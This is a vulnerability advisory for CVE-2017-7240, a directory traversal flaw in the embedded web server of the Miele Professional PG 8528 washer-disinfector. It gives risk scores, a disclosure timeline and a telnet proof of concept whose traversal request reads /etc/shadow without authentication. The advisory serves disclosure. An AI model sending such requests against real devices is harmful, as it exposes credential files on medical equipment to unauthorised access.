Miele Professional PG 8528 - Web Server Directory Traversal（CVE-2017-7240）

### Risk Information: Risk Factor: Medium CVSS Base Score: 5.0 CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C CVSS Temporal Score: 3.9 ### Timeline: 2016-11-16 Vulnerability discovered 2016-11-10 Asked for security contact 2016-11-21 Contact with Miele product representative 2016-12-03 Send details to the Miele product representative 2017-01-19 Asked for update, no response 2017-02-03 Asked for update, no response 2017-03-23 Public disclosure ### Affected Products: Miele Professional PG 8528 (washer-disinfector) with ethernet interface. ### Vendor Homepage: https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528 ### Details: The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks. ### Proof of Concept: ``` ~$ telnet 192.168.0.1 80 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character ist '^]'. GET /../../../../../../../../../../../../etc/shadow HTTP/1.1 HTTP/1.1 200 OK Date: Wed, 16 Nov 2016 11:58:50 GMT Server: PST10 WebServer Content-Type: application/octet-stream Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT Content-disposition: attachment; filename="./etc/shadow" Accept-Ranges: bytes Content-Length: 52 root:$1$$Md0i[...snip...]Z001:10933:0:99999:7::: ```